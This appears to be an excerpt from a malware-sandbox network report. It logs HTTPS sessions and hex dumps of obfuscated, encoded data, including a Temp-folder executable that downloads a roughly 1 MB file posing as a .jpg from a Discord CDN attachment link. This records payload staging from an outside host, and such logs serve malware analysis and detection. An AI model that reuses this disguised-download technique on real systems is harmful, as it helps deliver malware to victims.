2021-10-29 18:10:44 UTC	1509	IN	Data Raw: 57 59 20 59 59 20 4e 57 20 4e 20 49 20 4c 20 59 43 20 57 49 20 49 4d 20 57 43 20 72 57 20 4e 57 20 63 20 49 20 4c 4d 20 63 63 20 49 72 20 49 4c 20 63 63 20 72 57 20 4e 20 4e 4e 4d 20 63 56 20 72 20 63 72 20 49 57 20 63 63 20 4e 43 4c 20 4c 4c 20 56 57 20 4e 20 49 20 4c 20 59 43 20 4e 4e 49 20 63 72 20 49 57 20 59 4d 20 63 4c 20 56 49 20 4c 20 59 20 4d 43 20 49 59 20 63 59 20 59 72 20 4e 4e 20 56 43 20 56 49 20 4e 20 56 4e 20 4e 4e 56 20 4d 4c 20 4d 43 20 49 4c 20 4c 57 20 4e 4e 72 20 4c 72 20 4c 4e 20 56 59 20 4d 43 20 49 59 20 4e 4e 59 20 57 43 20 59 63 20 72 49 20 4e 56 20 56 59 20 56 4e 20 63 59 20 72 49 20 4e 4e 4c 20 49 57 20 59 49 20 72 20 4e 63 20 4c 4e 20 72 20 4e 43 56 20 57 59 20 4e 4e 56 20 4d 57 20 4c 56 20 56 4c 20 63 20 4e 43 57 20 59 59 20 Data Ascii: WY YY NW N I L YC WI IM WC rW NW c I LM cc Ir IL cc rW N NNM cV r cr IW cc NCL LL VW N I L YC NNI cr IW YM cL VI L Y MC IY cY Yr NN VC VI N VN NNV ML MC IL LW NNr Lr LN VY MC IY NNY WC Yc rI NV VY VN cY rI NNL IW YI r Nc LN r NCV WY NNV MW LV VL c NCW YY
2021-10-29 18:10:44 UTC	1525	IN	Data Raw: 4e 4d 20 72 20 4e 4e 56 20 57 4c 20 72 49 20 57 56 20 59 72 20 49 72 20 4e 4e 4d 20 56 4d 20 4e 43 57 20 4c 20 59 43 20 4e 20 59 43 20 59 72 20 49 4d 20 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 4d 20 4e 43 4c 20 72 49 20 4e 56 72 20 59 72 20 4c 4e 20 4e 4e 72 20 59 57 20 4e 43 57 20 4c 57 20 59 43 20 4e 56 4d 20 59 43 20 4e 56 43 20 49 72 20 4e 4e 72 20 4c 63 20 72 4e 20 4e 4e 56 20 4e 43 56 20 72 49 20 63 59 20 59 72 20 57 4d 20 4e 4e 72 20 59 4e 20 4e 43 57 20 59 4e 20 59 43 20 4e 56 59 20 59 43 20 63 63 20 49 72 20 72 49 20 4e 4e 4d 20 57 56 20 4e 4e 56 20 63 20 72 49 20 63 20 59 72 20 56 4c 20 4e 4e 72 20 4e 56 20 4e 43 57 20 4e 57 20 59 43 20 4e 56 4d 20 59 43 20 4e 4e 72 20 49 72 20 56 4e 20 4e 4e 4d 20 59 63 20 4e 4e 56 20 4d 72 20 72 49 20 4e 4e 4d Data Ascii: NM r NNV WL rI WV Yr Ir NNM VM NCW L YC N YC Yr IM Nr NNM NCW NVM NCL rI NVr Yr LN NNr YW NCW LW YC NVM YC NVC Ir NNr Lc rN NNV NCV rI cY Yr WM NNr YN NCW YN YC NVY YC cc Ir rI NNM WV NNV c rI c Yr VL NNr NV NCW NW YC NVM YC NNr Ir VN NNM Yc NNV Mr rI NNM
2021-10-29 18:10:44 UTC	1541	IN	Data Raw: 63 20 72 72 20 59 49 20 56 56 20 49 63 20 57 4d 20 4e 4e 57 20 4e 56 63 20 4e 4e 56 20 4c 4c 20 72 57 20 59 63 20 4c 59 20 4d 43 20 56 72 56 20 56 4c 56 20 4e 4e 43 20 57 49 20 4e 4d 49 20 4e 72 59 20 72 63 20 59 63 20 49 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 56 4d 20 56 72 56 20 4e 59 20 72 4e 20 59 4c 20 59 4e 20 63 59 20 57 63 20 49 49 20 4e 43 49 20 57 49 20 4e 4d 49 20 56 43 43 20 4c 57 20 4c 57 20 4e 43 57 20 4e 4e 59 20 4e 43 4c 20 56 4c 4d 20 4e 4c 63 20 4c 56 20 4e 4d 63 20 56 43 56 20 4c 63 20 56 4e 56 20 4e 4c 49 20 4e 43 4c 20 56 4c 4d 20 4e 4c 63 20 59 4c 20 4c 4d 20 4c 59 20 4e 59 20 49 59 20 57 63 20 56 72 59 20 4e 72 57 20 57 63 20 4c 72 20 72 57 20 59 4e 20 4c 59 20 4d 43 20 57 59 20 4e 4e 63 20 4e 4e 59 20 4e 4e 56 20 4c 57 20 4c 72 20 4e 4d Data Ascii: c rr YI VV Ic WM NNW NVc NNV LL rW Yc LY MC VrV VLV NNC WI NMI NrY rc Yc IN NNr NNM NVM VrV NY rN YL YN cY Wc II NCI WI NMI VCC LW LW NCW NNY NCL VLM NLc LV NMc VCV Lc VNV NLI NCL VLM NLc YL LM LY NY IY Wc VrY NrW Wc Lr rW YN LY MC WY NNc NNY NNV LW Lr NM
2021-10-29 18:10:44 UTC	1557	IN	Data Raw: 57 20 4e 43 57 20 4c 56 20 49 20 59 4c 20 4c 43 20 49 72 20 4e 43 4c 20 4e 43 4c 20 63 72 20 4e 4e 4c 20 63 43 20 59 4e 20 56 63 20 59 72 20 57 56 20 4e 4e 57 20 57 4c 20 4e 43 57 20 57 4d 20 4e 4d 57 20 59 63 20 59 59 20 63 56 20 49 72 20 57 63 20 56 72 59 20 4e 4c 63 20 4e 4e 59 20 56 63 20 72 49 20 63 43 20 59 4c 20 4e 56 72 20 4e 4e 72 20 4e 4e 57 20 4e 43 4c 20 49 49 20 59 43 20 4c 4d 20 4c 56 20 4e 49 56 20 56 72 4e 20 4e 4e 59 20 4e 43 4c 20 56 4c 4d 20 56 4e 63 20 59 57 20 56 72 20 59 43 20 4c 59 20 4d 43 20 63 4d 20 4e 4e 63 20 4e 56 4d 20 56 72 43 20 56 4c 43 20 59 4d 20 56 63 20 59 72 20 63 59 20 57 63 20 63 49 20 4e 43 49 20 57 49 20 4e 4d 49 20 56 72 72 20 59 57 20 4c 43 20 49 72 20 4e 43 4c 20 4e 43 4c 20 57 56 20 4e 4e 4c 20 4c 56 20 4e 4d Data Ascii: W NCW LV I YL LC Ir NCL NCL cr NNL cC YN Vc Yr WV NNW WL NCW WM NMW Yc YY cV Ir Wc VrY NLc NNY Vc rI cC YL NVr NNr NNW NCL II YC LM LV NIV VrN NNY NCL VLM VNc YW Vr YC LY MC cM NNc NVM VrC VLC YM Vc Yr cY Wc cI NCI WI NMI Vrr YW LC Ir NCL NCL WV NNL LV NM
2021-10-29 18:10:44 UTC	1573	IN	Data Raw: 4d 20 4e 4e 72 20 4e 20 4e 43 57 20 56 4d 20 59 43 20 49 56 20 59 43 20 57 4e 20 49 72 20 59 56 20 4e 4e 4d 20 59 20 4e 4e 56 20 4e 43 72 20 72 49 20 4e 56 56 20 59 72 20 72 72 20 4e 4e 72 20 72 57 20 4e 43 57 20 4e 49 20 59 43 20 56 20 59 43 20 57 43 20 49 72 20 4d 20 4e 4e 4d 20 59 56 20 4e 4e 56 20 57 59 20 72 49 20 4e 4e 63 20 59 72 20 72 63 20 4e 4e 72 20 72 4d 20 4e 43 57 20 4c 4c 20 59 43 20 63 72 20 59 43 20 57 4e 20 49 72 20 4e 57 20 4e 4e 4d 20 72 56 20 4e 4e 56 20 4e 56 43 20 72 49 20 63 49 20 59 72 20 59 4c 20 4e 4e 72 20 59 43 20 4e 43 57 20 56 49 20 59 43 20 63 49 20 59 43 20 4e 4e 4e 20 49 72 20 4c 4d 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 63 59 20 72 49 20 4e 43 4d 20 59 72 20 59 4d 20 4e 4e 72 20 4d 63 20 4e 43 57 20 4c 4e 20 59 43 20 49 4c Data Ascii: M NNr N NCW VM YC IV YC WN Ir YV NNM Y NNV NCr rI NVV Yr rr NNr rW NCW NI YC V YC WC Ir M NNM YV NNV WY rI NNc Yr rc NNr rM NCW LL YC cr YC WN Ir NW NNM rV NNV NVC rI cI Yr YL NNr YC NCW VI YC cI YC NNN Ir LM NNM YW NNV cY rI NCM Yr YM NNr Mc NCW LN YC IL
2021-10-29 18:10:44 UTC	1589	IN	Data Raw: 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 Data Ascii: YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YC rI Y
2021-10-29 18:10:44 UTC	1605	IN	Data Raw: 43 20 4e 43 20 4e 56 49 20 72 43 20 72 72 20 43 20 43 20 4e 43 20 4e 56 56 20 49 20 72 72 20 63 20 72 43 20 4c 4d 20 43 20 43 20 4e 43 20 43 20 63 20 72 56 20 63 59 20 56 49 20 43 20 43 20 4e 20 43 20 43 20 43 20 4e 20 43 20 43 20 43 20 4e 49 59 20 4e 20 43 20 43 20 56 43 63 20 4e 20 43 20 43 20 4e 56 20 43 20 43 20 43 20 4e 49 63 20 4e 20 43 20 43 20 4e 57 20 72 49 20 72 20 43 20 57 72 20 43 20 43 20 43 20 59 20 43 20 43 20 4e 4d 20 56 72 20 4e 72 4e 20 49 49 20 43 20 43 20 4e 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 59 4d 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 59 4d 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 72 49 20 4e 59 4d 20 4c 4d 20 4c 56 20 4e 20 43 20 43 20 43 20 4c 4e 20 57 57 20 4e Data Ascii: C NC NVI rC rr C C NC NVV I rr c rC LM C C NC C c rV cY VI C C N C C C N C C C NIY N C C VCc N C C NV C C C NIc N C C NW rI r C Wr C C C Y C C NM Vr NrN II C C N LM LV N C C C LN YM NYM LM LV N C C C LN YM NYM LM LV N C C C LN rI NYM LM LV N C C C LN WW N
2021-10-29 18:10:44 UTC	1621	IN	Data Raw: 20 4e 20 4e 57 4c 20 56 20 4c 57 20 4e 63 20 56 59 4c 20 59 20 56 4e 4d 20 56 20 56 59 20 4e 57 20 56 20 63 20 56 43 4e 20 56 20 57 4e 20 4e 57 20 4e 59 20 63 20 56 43 4e 20 56 20 56 43 4c 20 56 20 4e 49 20 63 20 72 4e 20 43 20 59 4e 20 43 20 4e 72 63 20 4e 20 63 72 20 43 20 56 4d 20 43 20 4e 72 4e 20 4e 20 63 72 20 43 20 4e 57 20 43 20 4e 4c 56 20 4e 20 63 4d 20 43 20 4e 4e 20 43 20 4e 43 4e 20 4e 20 63 4d 20 43 20 4e 57 20 43 20 4e 4c 56 20 4e 20 4d 4c 20 43 20 59 4e 20 43 20 4e 63 4c 20 4e 20 57 57 20 43 20 4e 4e 20 43 20 4e 43 4e 20 4e 20 57 57 20 43 20 4e 57 20 43 20 4e 4c 56 20 4e 20 4e 43 59 20 43 20 59 4e 20 43 20 4e 49 4c 20 4e 20 4e 56 49 20 43 20 56 4d 20 43 20 4e 72 4e 20 4e 20 4e 4c 4e 20 43 20 4c 59 20 43 20 4e 72 4e 20 4e 20 4e 4c 4e 20 43 Data Ascii: N NWL V LW Nc VYL Y VNM V VY NW V c VCN V WN NW NY c VCN V VCL V NI c rN C YN C Nrc N cr C VM C NrN N cr C NW C NLV N cM C NN C NCN N cM C NW C NLV N ML C YN C NcL N WW C NN C NCN N WW C NW C NLV N NCY C YN C NIL N NVI C VM C NrN N NLN C LY C NrN N NLN C
2021-10-29 18:10:44 UTC	1637	IN	Data Raw: 4e 20 4e 4e 63 20 4d 4d 20 4e 43 4e 20 4e 43 57 20 57 49 20 4e 43 4e 20 4e 4e 72 20 4e 4e 59 20 43 20 4e 4e 72 20 4e 43 59 20 4e 43 43 20 4e 43 43 20 4e 43 4e 20 4e 4e 72 20 4e 4e 59 20 43 20 49 56 20 4e 4e 4d 20 4e 4e 43 20 4e 4e 63 20 4e 43 59 20 4e 43 57 20 4e 43 4e 20 4d 56 20 4e 43 4e 20 4e 43 49 20 4e 4e 56 20 4e 43 4e 20 4e 4e 72 20 4e 4e 59 20 43 20 4e 43 4c 20 4e 43 59 20 4e 4e 56 20 4e 4e 56 20 4e 43 4e 20 4e 4e 72 20 4e 4e 59 20 43 20 57 57 20 4e 4e 4d 20 4e 43 57 20 57 49 20 4e 43 4e 20 4e 4e 72 20 4e 43 4e 20 4e 4e 72 20 4e 4e 59 20 43 20 4e 4e 59 20 4e 43 59 20 4e 43 49 20 4e 4e 49 20 4e 43 4e 20 4e 4e 72 20 4e 43 4e 20 4e 4e 72 20 4e 4e 59 20 43 20 4e 4e 4e 20 4e 56 43 20 4e 43 59 20 4e 43 43 20 4e 43 59 20 4e 4e 59 20 4e 43 4e 20 4e 4e 72 Data Ascii: N NNc MM NCN NCW WI NCN NNr NNY C NNr NCY NCC NCC NCN NNr NNY C IV NNM NNC NNc NCY NCW NCN MV NCN NCI NNV NCN NNr NNY C NCL NCY NNV NNV NCN NNr NNY C WW NNM NCW WI NCN NNr NCN NNr NNY C NNY NCY NCI NNI NCN NNr NCN NNr NNY C NNN NVC NCY NCC NCY NNY NCN NNr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49826	162.159.133.233	443	C:\Users\user\AppData\Local\Temp\77DC.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:10:59 UTC	1652	OUT	GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:10:59 UTC	1652	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:10:59 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5e5d1f09755363-FRA Accept-Ranges: bytes Age: 279355 Cache-Control: public, max-age=31536000 ETag: "a79ffe2a90ab83e54cd38dd94a2b6a6d" Expires: Sat, 29 Oct 2022 18:10:59 GMT Last-Modified: Tue, 26 Oct 2021 11:56:33 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635249393939568 x-goog-hash: crc32c=mLSBFQ== x-goog-hash: md5=p5/+KpCrg+VM043ZSitqbQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycduXLAU0rhkOYYdjTYv8nzQOrUiGMR0rq3qWR-Mu3t2dKo7sgrujSRwPDi2ARPYGwmCnqDDiBBlucDqiDRky3RaT0EIS3w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FBCCli9hLmvTVpjK%2F17yZ96yTAbmOtxa2Il8Hhqs2EvSv7qiav6JXBDgQeLEEj%2BgI8x80pBrYH%2BcBWtM01FY3SkDjqMWtr7IYtN9U5zQG4DDiSQlZmmZnTUWu4sg60TyYQRuzw%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:10:59 UTC	1653	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:10:59 UTC	1653	IN	Data Raw: 78 4f 6f 45 4b 59 52 74 6b 51 2d 74 74 20 51 78 20 4f 4b 4b 20 78 20 45 20 78 20 78 20 78 20 4b 20 78 20 78 20 78 20 6f 59 59 20 6f 59 59 20 78 20 78 20 4f 6b 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 52 4b 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 4f 6f 6b 20 78 20 78 20 78 20 4f 4b 20 45 4f 20 4f 6b 52 20 4f 4b 20 78 20 4f 6b 78 20 51 20 6f 78 59 20 45 45 20 4f 6b 4b 20 4f 20 74 52 20 6f 78 59 20 45 45 20 6b 4b 20 4f 78 4b 20 4f 78 59 20 4f 4f 59 20 45 6f 20 4f 4f 6f 20 4f 4f 4b 20 4f 4f 4f 20 4f 78 45 20 4f 4f 4b 20 51 74 20 4f 78 51 20 45 6f 20 51 51 20 51 74 20 4f 4f 78 20 4f Data Ascii: xOoEKYRtkQ-tt Qx OKK x E x x x K x x x oYY oYY x x OkK x x x x x x x RK x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x Ook x x x OK EO OkR OK x Okx Q oxY EE OkK O tR oxY EE kK OxK OxY OOY Eo OOo OOK OOO OxE OOK Qt OxQ Eo QQ Qt OOx O
2021-10-29 18:10:59 UTC	1654	IN	Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 Data Ascii: x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx
2021-10-29 18:10:59 UTC	1656	IN	Data Raw: 78 20 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 45 6f 20 4f 6b 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 4b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51 20 4f Data Ascii: x O OxQ OOo Yx OEo OkE YY kK OOK kY OxQ OOo Yx OkK YO YK kK OOk OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Ok YK kK Ok QO EO E RK kE Yx YK kK Otk OOk OxQ OOo Yx oKx YO YK kK OOk OOt OxQ OOo OQx KQ Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK YE OxQ O
2021-10-29 18:10:59 UTC	1657	IN	Data Raw: 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 Data Ascii: Q OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Y
2021-10-29 18:10:59 UTC	1658	IN	Data Raw: 51 20 4f 4f 6f 20 59 52 20 45 51 20 45 74 20 4b 74 20 6f 4f 74 20 4b 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 6f 45 20 45 6b 20 52 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20 59 4b Data Ascii: Q OOo YR EQ Et Kt oOt Ko OOt OxQ OOE oE Ek RK YY kK OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK oO Ko Rk OKt OOK OOt oQ o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR Kt Yx YK
2021-10-29 18:10:59 UTC	1660	IN	Data Raw: 20 6f 78 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 59 20 6b 51 20 4f 4f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51 20 6b 78 20 Data Ascii: oxE kK OOK OOE RQ OOK Yx Kk oY kQ OOo OOY OOt Oxt Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx YK QK Oo OEQ OxQ OOo YK oO EO EE OOK Oo OKo OxQ OOo YK oxR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ oOo OKx OOt OxQ OOR oR YO Yx YK Oot oQ QY Oxk OOo Yo EE YY EQ kx
2021-10-29 18:10:59 UTC	1661	IN	Data Raw: 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 74 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 51 20 59 45 20 45 78 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 6f 4f 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 20 45 45 20 59 45 Data Ascii: xQ Ooo RY k Yx YK QK Qx tR OxQ OOo YR YQ YE Ex OOx OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ OOK oR YR Yx YK ko OoR OOK Ex oOQ Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo ooo OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OEY kK OOK OOY tY Oxo EE YE
2021-10-29 18:10:59 UTC	1662	IN	Data Raw: 59 78 20 4b 6b 20 59 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 